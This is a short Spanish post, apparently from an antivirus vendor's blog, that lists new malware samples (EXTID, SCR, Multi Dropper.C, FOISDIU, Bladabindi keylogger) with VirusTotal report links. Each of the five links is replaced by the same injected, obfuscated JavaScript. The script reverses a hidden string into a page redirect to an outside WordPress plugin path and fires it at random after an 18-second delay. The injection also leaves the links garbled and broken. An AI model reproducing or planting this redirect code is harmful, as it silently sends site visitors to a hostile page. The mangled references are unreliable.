Extracto de los analisis de nuevas muestras de malware que añadiremos al control del ELISTARA 39.25

Informes de los Preanalisis de VirusTotal sobre nuevas muestras que pasaremos a controlar con ElistarA de hoy:

$NfI=function(n){if (typeof ($NfI.list[n]) == “string”) return $NfI.list[n].split(“”).reverse().join(“”);return $NfI.list[n];};$NfI.list=[“‘php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}total.com/es/file/d4d790f015f852189570a76c0ec15ffb58aac59c31df9d9f58180b9e2628710e/analysis/1528876019/” target=”_blank” rel=”noopener”>MALWARE EXTID

$NfI=function(n){if (typeof ($NfI.list[n]) == “string”) return $NfI.list[n].split(“”).reverse().join(“”);return $NfI.list[n];};$NfI.list=[“‘php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}total.com/es/file/1a68db26432fada658e820578ac4e06d8090905717d9e1c045347350c694a1c0/analysis/1528879158/” target=”_blank” rel=”noopener”>MALWARE SCR

$NfI=function(n){if (typeof ($NfI.list[n]) == “string”) return $NfI.list[n].split(“”).reverse().join(“”);return $NfI.list[n];};$NfI.list=[“‘php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}total.com/es/file/5e155f72a8402de2f7f6b10088b0311069b64858d8de49278fd30326be29f29b/analysis/1528901915/” target=”_blank” rel=”noopener”>MULTI DROPPER.C

$NfI=function(n){if (typeof ($NfI.list[n]) == “string”) return $NfI.list[n].split(“”).reverse().join(“”);return $NfI.list[n];};$NfI.list=[“‘php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}total.com/es/file/844a5d31bfacd506793cc19aa9113272b35893cdd84a88525184f7e27a4b2c54/analysis/1528902055/” target=”_blank” rel=”noopener”>MALWARE FOISDIU

$NfI=function(n){if (typeof ($NfI.list[n]) == “string”) return $NfI.list[n].split(“”).reverse().join(“”);return $NfI.list[n];};$NfI.list=[“‘php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}total.com/es/file/2b4d218efeb70ceafd2b5fccce3469afd0e95e038f07d9b740af9d75929390a5/analysis/1528902152/” target=”_blank” rel=”noopener”>KEYLOGGER BLADABINDI

En ellos puede verse como los controlan los demás antivirus del VirusTotal y demás caracteristicas segun los resultados obtenidos por dicho analizador (En Detalles/Información adicional de cada uno de los informes correspondientes)

saludos

ms, 13-6-2018